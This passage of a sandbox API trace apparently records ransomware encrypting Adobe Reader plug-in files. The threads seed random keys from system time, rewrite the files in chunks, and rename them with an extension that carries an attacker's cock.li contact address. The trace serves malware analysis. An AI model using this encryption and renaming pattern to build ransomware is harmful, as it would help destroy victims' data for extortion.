dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0057.140] ReadFile (in: hFile=0xd40, lpBuffer=0x178bf778, nNumberOfBytesToRead=0x4, lpNumberOfBytesRead=0x178bf774, lpOverlapped=0x0 | out: lpBuffer=0x178bf778*, lpNumberOfBytesRead=0x178bf774*=0x4, lpOverlapped=0x0) returned 1 [0057.142] SetFilePointerEx (in: hFile=0xd40, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0057.142] RtlAllocateHeap (HeapHandle=0x3f0000, Flags=0x8, Size=0x20) returned 0x4edc78 [0057.142] RtlAllocateHeap (HeapHandle=0x3f0000, Flags=0x8, Size=0x20) returned 0x4ed958 [0057.142] RtlAllocateHeap (HeapHandle=0x3f0000, Flags=0x8, Size=0x20) returned 0x4ed890 [0057.142] NtQuerySystemTime (in: CurrentTime=0x178bf754 | out: CurrentTime=0x178bf754*=132174898211196000) returned 0x0 [0057.142] RtlRandomEx (in: Seed=0x178bf760 | out: Seed=0x178bf760) returned 0x22509c97 [0057.142] RtlRandomEx (in: Seed=0x178bf760 | out: Seed=0x178bf760) returned 0x2eeb3de8 [0057.143] RtlRandomEx (in: Seed=0x178bf760 | out: Seed=0x178bf760) returned 0x57185c43 [0057.143] RtlRandomEx (in: Seed=0x178bf760 | out: Seed=0x178bf760) returned 0xcc7e423 [0057.143] RtlRandomEx (in: Seed=0x178bf760 | out: Seed=0x178bf760) returned 0x5d09d233 [0057.143] RtlRandomEx (in: Seed=0x178bf760 | out: Seed=0x178bf760) returned 0x52a7e11c [0057.143] RtlRandomEx (in: Seed=0x178bf760 | out: Seed=0x178bf760) returned 0x39158ff8 [0057.143] RtlRandomEx (in: Seed=0x178bf760 | out: Seed=0x178bf760) returned 0x3e55f9ad [0057.143] RtlRandomEx (in: Seed=0x178bf760 | out: Seed=0x178bf760) returned 0x2fdf13bb [0057.143] RtlRandomEx (in: Seed=0x178bf760 | out: Seed=0x178bf760) returned 0xef8bc53 [0057.143] RtlRandomEx (in: Seed=0x178bf760 | out: Seed=0x178bf760) returned 0x75ef7617 [0057.143] RtlRandomEx (in: Seed=0x178bf760 | out: Seed=0x178bf760) returned 0x3f4a3a6c [0057.143] RtlRandomEx (in: Seed=0x178bf760 | out: Seed=0x178bf760) returned 0xc729a85 [0057.143] RtlRandomEx (in: Seed=0x178bf760 | out: Seed=0x178bf760) returned 0x3ed683ed [0057.143] RtlRandomEx (in: Seed=0x178bf760 | out: Seed=0x178bf760) returned 0x695fbfcb [0057.143] RtlRandomEx (in: Seed=0x178bf760 | out: Seed=0x178bf760) returned 0x1bd66816 [0057.143] RtlRandomEx (in: Seed=0x178bf760 | out: Seed=0x178bf760) returned 0x7e612e83 [0057.143] RtlRandomEx (in: Seed=0x178bf760 | out: Seed=0x178bf760) returned 0x439061f8 [0057.143] RtlRandomEx (in: Seed=0x178bf760 | out: Seed=0x178bf760) returned 0x73127e5c [0057.143] RtlRandomEx (in: Seed=0x178bf760 | out: Seed=0x178bf760) returned 0x3e2318ba [0057.143] RtlRandomEx (in: Seed=0x178bf760 | out: Seed=0x178bf760) returned 0x61ba5e12 [0057.143] RtlRandomEx (in: Seed=0x178bf760 | out: Seed=0x178bf760) returned 0x6bc891d2 [0057.143] RtlRandomEx (in: Seed=0x178bf760 | out: Seed=0x178bf760) returned 0x1f07ca5c [0057.143] RtlRandomEx (in: Seed=0x178bf760 | out: Seed=0x178bf760) returned 0x1bf8358b [0057.143] RtlRandomEx (in: Seed=0x178bf760 | out: Seed=0x178bf760) returned 0x794b0fb5 [0057.143] RtlRandomEx (in: Seed=0x178bf760 | out: Seed=0x178bf760) returned 0x10c28a6 [0057.143] RtlRandomEx (in: Seed=0x178bf760 | out: Seed=0x178bf760) returned 0x3529b215 [0057.143] RtlRandomEx (in: Seed=0x178bf760 | out: Seed=0x178bf760) returned 0x24e100d [0057.143] RtlRandomEx (in: Seed=0x178bf760 | out: Seed=0x178bf760) returned 0x22006eca [0057.143] RtlRandomEx (in: Seed=0x178bf760 | out: Seed=0x178bf760) returned 0x6d252417 [0057.143] RtlRandomEx (in: Seed=0x178bf760 | out: Seed=0x178bf760) returned 0x5188d05 [0057.143] RtlRandomEx (in: Seed=0x178bf760 | out: Seed=0x178bf760) returned 0x36053085 [0057.155] SetFilePointerEx (in: hFile=0xd40, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0057.155] ReadFile (in: hFile=0xd40, lpBuffer=0x12dc4820, nNumberOfBytesToRead=0xc800, lpNumberOfBytesRead=0x178bf70c, lpOverlapped=0x0 | out: lpBuffer=0x12dc4820*, lpNumberOfBytesRead=0x178bf70c*=0xc800, lpOverlapped=0x0) returned 1 [0057.157] SetFilePointerEx (in: hFile=0xd40, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0057.157] RtlAllocateHeap (HeapHandle=0x3f0000, Flags=0x8, Size=0x40) returned 0x44c288 [0057.157] RtlAllocateHeap (HeapHandle=0x3f0000, Flags=0x8, Size=0x70) returned 0x43b2d0 [0057.157] RtlAllocateHeap (HeapHandle=0x3f0000, Flags=0x8, Size=0x20) returned 0x4edc78 [0057.157] RtlFreeHeap (HeapHandle=0x3f0000, Flags=0x0, BaseAddress=0x4edc78) returned 1 [0057.158] RtlAllocateHeap (HeapHandle=0x3f0000, Flags=0x8, Size=0xc800) returned 0x12dd1028 [0057.159] RtlAllocateHeap (HeapHandle=0x3f0000, Flags=0x8, Size=0x20) returned 0x4edc78 [0057.159] RtlAllocateHeap (HeapHandle=0x3f0000, Flags=0x8, Size=0x20) returned 0x4ed890 [0057.159] RtlFreeHeap (HeapHandle=0x3f0000, Flags=0x0, BaseAddress=0x4ed890) returned 1 [0057.159] RtlFreeHeap (HeapHandle=0x3f0000, Flags=0x0, BaseAddress=0x43b2d0) returned 1 [0057.159] RtlFreeHeap (HeapHandle=0x3f0000, Flags=0x0, BaseAddress=0x44c288) returned 1 [0057.159] WriteFile (in: hFile=0xd40, lpBuffer=0x12dd1028*, nNumberOfBytesToWrite=0xc800, lpNumberOfBytesWritten=0x178bf70c, lpOverlapped=0x0 | out: lpBuffer=0x12dd1028*, lpNumberOfBytesWritten=0x178bf70c*=0xc800, lpOverlapped=0x0) returned 1 [0059.137] RtlFreeHeap (HeapHandle=0x3f0000, Flags=0x0, BaseAddress=0x12dd1028) returned 1 [0059.137] SetFilePointerEx (in: hFile=0xd40, liDistanceToMove=0x3a9800, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0059.137] ReadFile (in: hFile=0xd40, lpBuffer=0x12dc4820, nNumberOfBytesToRead=0xc800, lpNumberOfBytesRead=0x178bf70c, lpOverlapped=0x0 | out: lpBuffer=0x12dc4820*, lpNumberOfBytesRead=0x178bf70c*=0xc800, lpOverlapped=0x0) returned 1 [0059.139] SetFilePointerEx (in: hFile=0xd40, liDistanceToMove=0x3a9800, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0059.139] RtlAllocateHeap (HeapHandle=0x3f0000, Flags=0x8, Size=0x40) returned 0x44bd30 [0059.139] RtlAllocateHeap (HeapHandle=0x3f0000, Flags=0x8, Size=0x70) returned 0x43b348 [0059.139] RtlAllocateHeap (HeapHandle=0x3f0000, Flags=0x8, Size=0x20) returned 0x428af0 [0059.139] RtlFreeHeap (HeapHandle=0x3f0000, Flags=0x0, BaseAddress=0x428af0) returned 1 [0059.140] RtlAllocateHeap (HeapHandle=0x3f0000, Flags=0x8, Size=0xc800) returned 0x12f19298 [0059.141] RtlAllocateHeap (HeapHandle=0x3f0000, Flags=0x8, Size=0x20) returned 0x428af0 [0059.141] RtlAllocateHeap (HeapHandle=0x3f0000, Flags=0x8, Size=0x20) returned 0x460468 [0059.141] RtlFreeHeap (HeapHandle=0x3f0000, Flags=0x0, BaseAddress=0x460468) returned 1 [0059.141] RtlFreeHeap (HeapHandle=0x3f0000, Flags=0x0, BaseAddress=0x43b348) returned 1 [0059.141] RtlFreeHeap (HeapHandle=0x3f0000, Flags=0x0, BaseAddress=0x44bd30) returned 1 [0059.141] WriteFile (in: hFile=0xd40, lpBuffer=0x12f19298*, nNumberOfBytesToWrite=0xc800, lpNumberOfBytesWritten=0x178bf70c, lpOverlapped=0x0 | out: lpBuffer=0x12f19298*, lpNumberOfBytesWritten=0x178bf70c*=0xc800, lpOverlapped=0x0) returned 1 [0064.416] RtlFreeHeap (HeapHandle=0x3f0000, Flags=0x0, BaseAddress=0x12f19298) returned 1 [0064.416] SetFilePointerEx (in: hFile=0xd40, liDistanceToMove=0x732a63, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0064.416] ReadFile (in: hFile=0xd40, lpBuffer=0x12dc4820, nNumberOfBytesToRead=0xc800, lpNumberOfBytesRead=0x178bf70c, lpOverlapped=0x0 | out: lpBuffer=0x12dc4820*, lpNumberOfBytesRead=0x178bf70c*=0xc800, lpOverlapped=0x0) returned 1 [0064.417] SetFilePointerEx (in: hFile=0xd40, liDistanceToMove=0x732a63, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0064.417] RtlAllocateHeap (HeapHandle=0x3f0000, Flags=0x8, Size=0x40) returned 0x44c948 [0064.417] RtlAllocateHeap (HeapHandle=0x3f0000, Flags=0x8, Size=0x70) returned 0x437f58 [0064.417] RtlAllocateHeap (HeapHandle=0x3f0000, Flags=0x8, Size=0x20) returned 0x460210 [0064.417] RtlFreeHeap (HeapHandle=0x3f0000, Flags=0x0, BaseAddress=0x460210) returned 1 [0064.418] RtlAllocateHeap (HeapHandle=0x3f0000, Flags=0x8, Size=0xc800) returned 0x12f19298 [0064.419] RtlAllocateHeap (HeapHandle=0x3f0000, Flags=0x8, Size=0x20) returned 0x460210 [0064.419] RtlAllocateHeap (HeapHandle=0x3f0000, Flags=0x8, Size=0x20) returned 0x460440 [0064.419] RtlFreeHeap (HeapHandle=0x3f0000, Flags=0x0, BaseAddress=0x460440) returned 1 [0064.419] RtlFreeHeap (HeapHandle=0x3f0000, Flags=0x0, BaseAddress=0x437f58) returned 1 [0064.419] RtlFreeHeap (HeapHandle=0x3f0000, Flags=0x0, BaseAddress=0x44c948) returned 1 [0064.419] WriteFile (in: hFile=0xd40, lpBuffer=0x12f19298*, nNumberOfBytesToWrite=0xc800, lpNumberOfBytesWritten=0x178bf70c, lpOverlapped=0x0 | out: lpBuffer=0x12f19298*, lpNumberOfBytesWritten=0x178bf70c*=0xc800, lpOverlapped=0x0) returned 1 [0066.664] RtlFreeHeap (HeapHandle=0x3f0000, Flags=0x0, BaseAddress=0x12f19298) returned 1 [0066.665] RtlAllocateHeap (HeapHandle=0x3f0000, Flags=0x8, Size=0x60) returned 0x48dd48 [0066.665] SetFilePointerEx (in: hFile=0xd40, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0066.665] WriteFile (hFile=0xd40, lpBuffer=0x4419d8, nNumberOfBytesToWrite=0x147, lpNumberOfBytesWritten=0x178bf7b4, lpOverlapped=0x0) Thread: id = 924 os_tid = 0x124c [0051.974] GetFileAttributesW (lpFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\plug_ins\\ReadOutLoud.api" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\plug_ins\\readoutloud.api")) returned 0x20 [0057.116] SetFileAttributesW (lpFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\plug_ins\\ReadOutLoud.api", dwFileAttributes=0x20) returned 1 [0057.120] CreateFileW (lpFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\plug_ins\\ReadOutLoud.api" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\plug_ins\\readoutloud.api"), dwDesiredAccess=0xc0010000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80000000, hTemplateFile=0x0) returned 0xe68 [0057.120] GetFileSizeEx (in: hFile=0xe68, lpFileSize=0x1791f74c | out: lpFileSize=0x1791f74c*=112227) returned 1 [0057.120] SetFilePointerEx (in: hFile=0xe68, liDistanceToMove=0x1b65f, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0057.120] ReadFile (in: hFile=0xe68, lpBuffer=0x1791f6d0, nNumberOfBytesToRead=0x4, lpNumberOfBytesRead=0x1791f6cc, lpOverlapped=0x0 | out: lpBuffer=0x1791f6d0*, lpNumberOfBytesRead=0x1791f6cc*=0x4, lpOverlapped=0x0) returned 1 [0057.121] SetFilePointerEx (in: hFile=0xe68, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0057.121] RtlAllocateHeap (HeapHandle=0x3f0000, Flags=0x8, Size=0x20) returned 0x4edcf0 [0057.122] RtlAllocateHeap (HeapHandle=0x3f0000, Flags=0x8, Size=0x20) returned 0x4edbd8 [0057.122] RtlAllocateHeap (HeapHandle=0x3f0000, Flags=0x8, Size=0x20) returned 0x4edc78 [0057.122] NtQuerySystemTime (in: CurrentTime=0x1791f6ac | out: CurrentTime=0x1791f6ac*=132174898211040000) returned 0x0 [0057.122] RtlRandomEx (in: Seed=0x1791f6b8 | out: Seed=0x1791f6b8) returned 0x24461569 [0057.122] RtlRandomEx (in: Seed=0x1791f6b8 | out: Seed=0x1791f6b8) returned 0x2dbf9e7e [0057.122] RtlRandomEx (in: Seed=0x1791f6b8 | out: Seed=0x1791f6b8) returned 0x3169d049 [0057.122] RtlRandomEx (in: Seed=0x1791f6b8 | out: Seed=0x1791f6b8) returned 0x45495f36 [0057.122] RtlRandomEx (in: Seed=0x1791f6b8 | out: Seed=0x1791f6b8) returned 0x72ce5d2d [0057.122] RtlRandomEx (in: Seed=0x1791f6b8 | out: Seed=0x1791f6b8) returned 0x276b72b5 [0057.122] RtlRandomEx (in: Seed=0x1791f6b8 | out: Seed=0x1791f6b8) returned 0x7f7f6375 [0057.122] RtlRandomEx (in: Seed=0x1791f6b8 | out: Seed=0x1791f6b8) returned 0x61d4e685 [0057.122] RtlRandomEx (in: Seed=0x1791f6b8 | out: Seed=0x1791f6b8) returned 0x33a29662 [0057.122] RtlRandomEx (in: Seed=0x1791f6b8 | out: Seed=0x1791f6b8) returned 0x9a4c166 [0057.122] RtlRandomEx (in: Seed=0x1791f6b8 | out: Seed=0x1791f6b8) returned 0x16a29b91 [0057.122] RtlRandomEx (in: Seed=0x1791f6b8 | out: Seed=0x1791f6b8) returned 0x201f257a [0057.122] RtlRandomEx (in: Seed=0x1791f6b8 | out: Seed=0x1791f6b8) returned 0x7cb7a90a [0057.122] RtlRandomEx (in: Seed=0x1791f6b8 | out: Seed=0x1791f6b8) returned 0x2f2ac07a [0057.122] RtlRandomEx (in: Seed=0x1791f6b8 | out: Seed=0x1791f6b8) returned 0x310f7364 [0057.122] RtlRandomEx (in: Seed=0x1791f6b8 | out: Seed=0x1791f6b8) returned 0xc5df41a [0057.122] RtlRandomEx (in: Seed=0x1791f6b8 | out: Seed=0x1791f6b8) returned 0x551d85a4 [0057.122] RtlRandomEx (in: Seed=0x1791f6b8 | out: Seed=0x1791f6b8) returned 0x6fe3880d [0057.122] RtlRandomEx (in: Seed=0x1791f6b8 | out: Seed=0x1791f6b8) returned 0x72b65cb2 [0057.122] RtlRandomEx (in: Seed=0x1791f6b8 | out: Seed=0x1791f6b8) returned 0x10dcf4b5 [0057.122] RtlRandomEx (in: Seed=0x1791f6b8 | out: Seed=0x1791f6b8) returned 0x7a3da545 [0057.122] RtlRandomEx (in: Seed=0x1791f6b8 | out: Seed=0x1791f6b8) returned 0x65971efc [0057.122] RtlRandomEx (in: Seed=0x1791f6b8 | out: Seed=0x1791f6b8) returned 0x5d623bfb [0057.122] RtlRandomEx (in: Seed=0x1791f6b8 | out: Seed=0x1791f6b8) returned 0x3fbdb30 [0057.122] RtlRandomEx (in: Seed=0x1791f6b8 | out: Seed=0x1791f6b8) returned 0x4a276c07 [0057.122] RtlRandomEx (in: Seed=0x1791f6b8 | out: Seed=0x1791f6b8) returned 0x3a71ef04 [0057.122] RtlRandomEx (in: Seed=0x1791f6b8 | out: Seed=0x1791f6b8) returned 0x107ea587 [0057.122] RtlRandomEx (in: Seed=0x1791f6b8 | out: Seed=0x1791f6b8) returned 0x6d3f827 [0057.122] RtlRandomEx (in: Seed=0x1791f6b8 | out: Seed=0x1791f6b8) returned 0x88c3bfa [0057.123] RtlRandomEx (in: Seed=0x1791f6b8 | out: Seed=0x1791f6b8) returned 0x34dd48bc [0057.123] RtlRandomEx (in: Seed=0x1791f6b8 | out: Seed=0x1791f6b8) returned 0x3be15d8a [0057.123] RtlRandomEx (in: Seed=0x1791f6b8 | out: Seed=0x1791f6b8) returned 0x745119c0 [0057.133] SetFilePointerEx (in: hFile=0xe68, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0057.134] ReadFile (in: hFile=0xe68, lpBuffer=0x12dab810, nNumberOfBytesToRead=0xc800, lpNumberOfBytesRead=0x1791f68c, lpOverlapped=0x0 | out: lpBuffer=0x12dab810*, lpNumberOfBytesRead=0x1791f68c*=0xc800, lpOverlapped=0x0) returned 1 [0057.135] SetFilePointerEx (in: hFile=0xe68, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0057.135] RtlAllocateHeap (HeapHandle=0x3f0000, Flags=0x8, Size=0x40) returned 0x44c288 [0057.135] RtlAllocateHeap (HeapHandle=0x3f0000, Flags=0x8, Size=0x70) returned 0x43b2d0 [0057.135] RtlAllocateHeap (HeapHandle=0x3f0000, Flags=0x8, Size=0x20) returned 0x4edcf0 [0057.135] RtlFreeHeap (HeapHandle=0x3f0000, Flags=0x0, BaseAddress=0x4edcf0) returned 1 [0057.136] RtlAllocateHeap (HeapHandle=0x3f0000, Flags=0x8, Size=0xc800) returned 0x12db8018 [0057.137] RtlAllocateHeap (HeapHandle=0x3f0000, Flags=0x8, Size=0x20) returned 0x4edcf0 [0057.137] RtlAllocateHeap (HeapHandle=0x3f0000, Flags=0x8, Size=0x20) returned 0x4edc78 [0057.137] RtlFreeHeap (HeapHandle=0x3f0000, Flags=0x0, BaseAddress=0x4edc78) returned 1 [0057.137] RtlFreeHeap (HeapHandle=0x3f0000, Flags=0x0, BaseAddress=0x43b2d0) returned 1 [0057.137] RtlFreeHeap (HeapHandle=0x3f0000, Flags=0x0, BaseAddress=0x44c288) returned 1 [0057.137] WriteFile (in: hFile=0xe68, lpBuffer=0x12db8018*, nNumberOfBytesToWrite=0xc800, lpNumberOfBytesWritten=0x1791f68c, lpOverlapped=0x0 | out: lpBuffer=0x12db8018*, lpNumberOfBytesWritten=0x1791f68c*=0xc800, lpOverlapped=0x0) returned 1 [0059.134] RtlFreeHeap (HeapHandle=0x3f0000, Flags=0x0, BaseAddress=0x12db8018) returned 1 [0059.134] RtlFreeHeap (HeapHandle=0x3f0000, Flags=0x0, BaseAddress=0x12dab810) returned 1 [0059.134] RtlAllocateHeap (HeapHandle=0x3f0000, Flags=0x8, Size=0x2b) returned 0x40a988 [0059.134] SetFilePointerEx (in: hFile=0xe68, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0059.134] WriteFile (in: hFile=0xe68, lpBuffer=0x12d7c620*, nNumberOfBytesToWrite=0x10f, lpNumberOfBytesWritten=0x1791f70c, lpOverlapped=0x0 | out: lpBuffer=0x12d7c620*, lpNumberOfBytesWritten=0x1791f70c*=0x10f, lpOverlapped=0x0) returned 1 [0062.783] RtlFreeHeap (HeapHandle=0x3f0000, Flags=0x0, BaseAddress=0x12d7c620) returned 1 [0062.783] RtlFreeHeap (HeapHandle=0x3f0000, Flags=0x0, BaseAddress=0x40a9f8) returned 1 [0062.783] RtlFreeHeap (HeapHandle=0x3f0000, Flags=0x0, BaseAddress=0x428b40) returned 1 [0062.783] RtlFreeHeap (HeapHandle=0x3f0000, Flags=0x0, BaseAddress=0x40a988) returned 1 [0062.783] RtlFreeHeap (HeapHandle=0x3f0000, Flags=0x0, BaseAddress=0x4edcf0) returned 1 [0062.783] RtlFreeHeap (HeapHandle=0x3f0000, Flags=0x0, BaseAddress=0x4edbd8) returned 1 [0062.783] RtlFreeHeap (HeapHandle=0x3f0000, Flags=0x0, BaseAddress=0x4edc50) returned 1 [0062.783] RtlFreeHeap (HeapHandle=0x3f0000, Flags=0x0, BaseAddress=0x4edc00) returned 1 [0062.783] RtlAllocateHeap (HeapHandle=0x3f0000, Flags=0x8, Size=0xda) returned 0x12cf9170 [0062.786] wcscpy (in: _Dest=0x12cf9170, _Source="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\plug_ins\\ReadOutLoud.api" | out: _Dest="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\plug_ins\\ReadOutLoud.api") returned="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\plug_ins\\ReadOutLoud.api" [0062.786] wcscat (in: _Dest=0x12cf9170, _Source=".mailto[2Hamlampampom@cock.li].cd46d" | out: _Dest="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\plug_ins\\ReadOutLoud.api.mailto[2Hamlampampom@cock.li].cd46d") returned="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\plug_ins\\ReadOutLoud.api.mailto[2Hamlampampom@cock.li].cd46d" [0062.786] RtlDosPathNameToNtPathName_U (in: DosPathName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\plug_ins\\ReadOutLoud.api.mailto[2Hamlampampom@cock.li].cd46d", NtPathName=0x1791f6c4, NtFileNamePart=0x0, DirectoryInfo=0x0 | out: NtPathName="\\??\\C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\plug_ins\\ReadOutLoud.api.mailto[2Hamlampampom@cock.li].cd46d", NtFileNamePart=0x0, DirectoryInfo=0x0) returned 1 [0062.786] RtlAllocateHeap (HeapHandle=0x3f0000, Flags=0x8, Size=0xf0) returned 0x4de1f0 [0063.446] RtlFreeHeap (HeapHandle=0x3f0000, Flags=0x0, BaseAddress=0x4de1f0) returned 1 [0063.446] RtlFreeHeap (HeapHandle=0x3f0000, Flags=0x0, BaseAddress=0x4a4dd8) returned 1 [0063.446] NtQueryInformationFile (in: FileHandle=0xe68, IoStatusBlock=0x1791f6d0, FileInformation=0x1791f6a8, Length=0x28, FileInformationClass=0x4 | out: IoStatusBlock=0x1791f6d0, FileInformation=0x1791f6a8) returned 0x0 [0063.446] NtSetInformationFile (FileHandle=0xe68, IoStatusBlock=0x1791f6d0, FileInformation=0x1791f6a8, Length=0x28, FileInformationClass=0x4) returned 0x0 [0063.448] RtlFreeHeap (HeapHandle=0x3f0000, Flags=0x0, BaseAddress=0x12cf9170) returned 1 [0063.448] FlushFileBuffers (hFile=0xe68) returned 1 [0066.204] CloseHandle (hObject=0xe68) Thread: id = 925 os_tid = 0x1250 [0051.975] GetFileAttributesW (lpFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\plug_ins\\reflow.api" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\plug_ins\\reflow.api")) returned 0x20 [0057.096] SetFileAttributesW (lpFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\plug_ins\\reflow.api", dwFileAttributes=0x20) returned 1 [0057.100] CreateFileW (lpFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\plug_ins\\reflow.api" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\plug_ins\\reflow.api"), dwDesiredAccess=0xc0010000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80000000, hTemplateFile=0x0) returned 0xd44 [0057.100] GetFileSizeEx (in: hFile=0xd44, lpFileSize=0x17a2fed0 | out: lpFileSize=0x17a2fed0*=347747) returned 1 [0057.101] SetFilePointerEx (in: hFile=0xd44, liDistanceToMove=0x54e5f, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0057.101] ReadFile (in: hFile=0xd44, lpBuffer=0x17a2fe54, nNumberOfBytesToRead=0x4, lpNumberOfBytesRead=0x17a2fe50, lpOverlapped=0x0 | out: lpBuffer=0x17a2fe54*, lpNumberOfBytesRead=0x17a2fe50*=0x4, lpOverlapped=0x0) returned 1 [0057.102] SetFilePointerEx (in: hFile=0xd44, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0057.102] RtlAllocateHeap (HeapHandle=0x3f0000, Flags=0x8, Size=0x20) returned 0x4edd40 [0057.102] RtlAllocateHeap (HeapHandle=0x3f0000, Flags=0x8, Size=0x20) returned 0x4edd18 [0057.102] RtlAllocateHeap (HeapHandle=0x3f0000, Flags=0x8, Size=0x20) returned 0x4edcf0 [0057.102] NtQuerySystemTime (in: CurrentTime=0x17a2fe30 | out: CurrentTime=0x17a2fe30*=132174898210884000) returned 0x0 [0057.102] RtlRandomEx (in: Seed=0x17a2fe3c | out: Seed=0x17a2fe3c) returned 0x5ee9ac8f [0057.102] RtlRandomEx (in: Seed=0x17a2fe3c | out: Seed=0x17a2fe3c) returned 0x5682ded9 [0057.102] RtlRandomEx (in: Seed=0x17a2fe3c | out: Seed=0x17a2fe3c) returned 0x41044e26 [0057.102] RtlRandomEx (in: Seed=0x17a2fe3c | out: Seed=0x17a2fe3c) returned 0x780ea030 [0057.102] RtlRandomEx (in: Seed=0x17a2fe3c | out: Seed=0x17a2fe3c) returned 0x9eba0dd [0057.102] RtlRandomEx (in: Seed=0x17a2fe3c | out: Seed=0x17a2fe3c) returned 0x18a894ed [0057.102] RtlRandomEx (in: Seed=0x17a2fe3c | out: Seed=0x17a2fe3c) returned 0xab00fc4 [0057.102] RtlRandomEx (in: Seed=0x17a2fe3c | out: Seed=0x17a2fe3c) returned 0x5dbf4c31 [0057.102] RtlRandomEx (in: Seed=0x17a2fe3c | out: Seed=0x17a2fe3c) returned 0x5797b4bc [0057.103] RtlRandomEx (in: Seed=0x17a2fe3c | out: Seed=0x17a2fe3c) returned 0x14db3f7f [0057.103] RtlRandomEx (in: Seed=0x17a2fe3c | out: Seed=0x17a2fe3c) returned 0x2667beb9 [0057.103] RtlRandomEx (in: Seed=0x17a2fe3c | out: Seed=0x17a2fe3c) returned 0x7d4640af [0057.103] RtlRandomEx (in: Seed=0x17a2fe3c | out: Seed=0x17a2fe3c) returned 0x90b0178 [0057.103] RtlRandomEx (in: Seed=0x17a2fe3c | out: Seed=0x17a2fe3c) returned 0x348c0e72 [0057.103] RtlRandomEx (in: Seed=0x17a2fe3c | out: Seed=0x17a2fe3c) returned 0x7da20f7a [0057.103] RtlRandomEx (in: Seed=0x17a2fe3c | out: Seed=0x17a2fe3c) returned 0x703b3317 [0057.103] RtlRandomEx (in: Seed=0x17a2fe3c | out: Seed=0x17a2fe3c) returned 0x7c7be04b [0057.103] RtlRandomEx (in: Seed=0x17a2fe3c | out: Seed=0x17a2fe3c) returned 0x2367f18f [0057.103] RtlRandomEx (in: Seed=0x17a2fe3c | out: Seed=0x17a2fe3c) returned 0x1c78ec3d [0057.103] RtlRandomEx (in: Seed=0x17a2fe3c | out: Seed=0x17a2fe3c) returned 0x3ed61c2a [0057.103] RtlRandomEx (in: Seed=0x17a2fe3c | out: Seed=0x17a2fe3c) returned 0x3f015cad [0057.103] RtlRandomEx (in: Seed=0x17a2fe3c | out: Seed=0x17a2fe3c) returned 0xaecae34 [0057.103] RtlRandomEx (in: Seed=0x17a2fe3c | out: Seed=0x17a2fe3c) returned 0x7989b771 [0057.103] RtlRandomEx (in: Seed=0x17a2fe3c | out: Seed=0x17a2fe3c) returned 0x6dbe7241 [0057.103] RtlRandomEx (in: Seed=0x17a2fe3c | out: Seed=0x17a2fe3c) returned 0x30322bc0 [0057.103] RtlRandomEx (in: Seed=0x17a2fe3c | out: Seed=0x17a2fe3c) returned 0x45dc20ba [0057.103] RtlRandomEx (in: Seed=0x17a2fe3c | out: Seed=0x17a2fe3c) returned 0xeaa34a4 [0057.103] RtlRandomEx (in: Seed=0x17a2fe3c | out: Seed=0x17a2fe3c) returned 0x2f639f49 [0057.103] RtlRandomEx (in: Seed=0x17a2fe3c | out: Seed=0x17a2fe3c) returned 0x148ecaae [0057.103] RtlRandomEx (in: Seed=0x17a2fe3c | out: Seed=0x17a2fe3c) returned 0x6623c82e [0057.103] RtlRandomEx (in: Seed=0x17a2fe3c | out: Seed=0x17a2fe3c) returned 0x30dc8503 [0057.103] RtlRandomEx (in: Seed=0x17a2fe3c | out: Seed=0x17a2fe3c) returned 0x1b4d6681 [0057.114] SetFilePointerEx (in: hFile=0xd44, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0057.114] ReadFile (in: hFile=0xd44, lpBuffer=0x1957e820, nNumberOfBytesToRead=0xc800, lpNumberOfBytesRead=0x17a2fde8, lpOverlapped=0x0 | out: lpBuffer=0x1957e820*, lpNumberOfBytesRead=0x17a2fde8*=0xc800, lpOverlapped=0x0) returned 1 